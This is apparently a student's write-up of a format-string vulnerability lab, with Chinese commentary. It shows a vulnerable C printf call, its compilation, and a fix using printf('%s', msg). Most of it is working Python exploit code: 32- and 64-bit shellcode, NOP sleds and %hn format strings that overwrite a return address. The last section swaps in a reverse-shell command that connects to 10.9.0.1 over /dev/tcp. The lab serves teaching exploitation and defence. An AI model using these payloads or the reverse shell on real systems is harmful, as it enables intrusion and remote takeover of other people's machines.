voidmyprintf(char *msg) { #if __x86_64__ unsignedlongint *framep; // Save the rbp value into framep asm("movq %%rbp, %0" : "=r" (framep)); printf("Frame Pointer (inside myprintf): 0x%.16lx\n", (unsignedlong) framep); printf("The target variable's value (before): 0x%.16lx\n", target); #else unsignedint *framep; // Save the ebp value into framep asm("movl %%ebp, %0" : "=r"(framep)); printf("Frame Pointer (inside myprintf): 0x%.8x\n", (unsignedint) framep); printf("The target variable's value (before): 0x%.8x\n", target); #endif
// This line has a format-string vulnerability printf(msg);
#if __x86_64__ printf("The target variable's value (after): 0x%.16lx\n", target); #else printf("The target variable's value (after): 0x%.8x\n", target); #endif
}
Compilation:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
❯ cd server-code ❯ make gcc -o server server.c gcc -DBUF_SIZE=100 -z execstack -static -m32 -o format-32 format.c format.c: In function ‘myprintf’: format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security] 44 | printf(msg); | ^~~~~~ gcc -DBUF_SIZE=100 -z execstack -o format-64 format.c format.c: In function ‘myprintf’: format.c:44:5: warning: format not a string literal and no format arguments [-Wformat-security] 44 | printf(msg); | ^~~~~~ ❯ make install cp server ../fmt-containers cp format-* ../fmt-containers
Question 2: How many %x format specifiers do we need to move the format string argument pointerto 3? Remember, the argument pointer starts from the location above 1.
# 32-bit Generic Shellcode shellcode_32 = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/ls -l; echo '===== Success! ======' *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# 64-bit Generic Shellcode shellcode_64 = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/ls -l; echo '===== Success! ======' *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
N = 1500 # Fill the content with NOP's content = bytearray(0x90for i inrange(N))
# Choose the shellcode version based on your target shellcode = shellcode_32
# Put the shellcode somewhere in the payload start = N - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
############################################################ # # Construct the format string here # ############################################################
# This line shows how to store a 4-byte integer at offset 0 shellcode_addr = 0xffffd5d4# 0xffffd080 + start print(hex(shellcode_addr)) number = 0xffffcfa8 + 4 number_1 = number + 2 content[0:4] = (number).to_bytes(4,byteorder='little')
content[8:12] = (number_1).to_bytes(4, byteorder='little') # This line shows how to store a 4-byte string at offset 4 content[4:8] = ("abcd").encode('latin-1')
# This line shows how to construct a string s with # 12 of "%.8x", concatenated with a "%n" s = "%.8x."*62 + "%.54170x" + "%hn" + "%.10795x" + "%hn"
# The line shows how to store the string s at offset 8 fmt = (s).encode('latin-1') content[12:12+len(fmt)] = fmt
# Save the format string to file withopen('badfile', 'wb') as f: f.write(content)
# 32-bit Generic Shellcode shellcode_32 = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/ls -l; echo '===== Success! ======' *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# 64-bit Generic Shellcode shellcode_64 = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/ls -l; echo '===== Success! ======' *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
N = 1500 # Fill the content with NOP's content = bytearray(0x90for i inrange(N))
# Choose the shellcode version based on your target shellcode = shellcode_64
# Put the shellcode somewhere in the payload start = N - len(shellcode) # Change this number content[start:start + len(shellcode)] = shellcode
############################################################ # # Construct the format string here # ############################################################
# This line shows how to store a 4-byte integer at offset 0 buf_addr = 0x00007fffffffe5c0 ret_addr = 0x00007fffffffe500 + 8 shellcode_addr = buf_addr + start # 0x7fffffffeaf7 print(hex(shellcode_addr))
# target_addr for test target_addr = 0x0000555555558010 number = ret_addr number1 = number + 2 number2 = number + 4 number3 = number + 6
# This line shows how to construct a string s with # 12 of "%.8x", concatenated with a "%n"
# The line shows how to store the string s at offset 8 fmt = (s).encode('latin-1') offset = 80 content[0:len(fmt)] = fmt content[offset:offset+8] = (number).to_bytes(8, byteorder='little') content[offset+8:offset+16] = (number1).to_bytes(8, byteorder='little') content[offset+16:offset+24] = (number2).to_bytes(8, byteorder='little') # Save the format string to file withopen('badfile', 'wb') as f: f.write(content)
其中需要注意高位地址恒为0x0000不需要修改,其他三个都需要进行修改。
8 Task 6: Fixing the Problem
修改如下。
1 2
// This line has a format-string vulnerability printf("%s", msg);
重新编译发现警告信息消失:
重新进行攻击,尝试打印出前100个参数,失败:
9 Guidelines on Reverse Shell
只需修改shellcode内容即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14
# 32-bit Generic Shellcode shellcode_32 = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')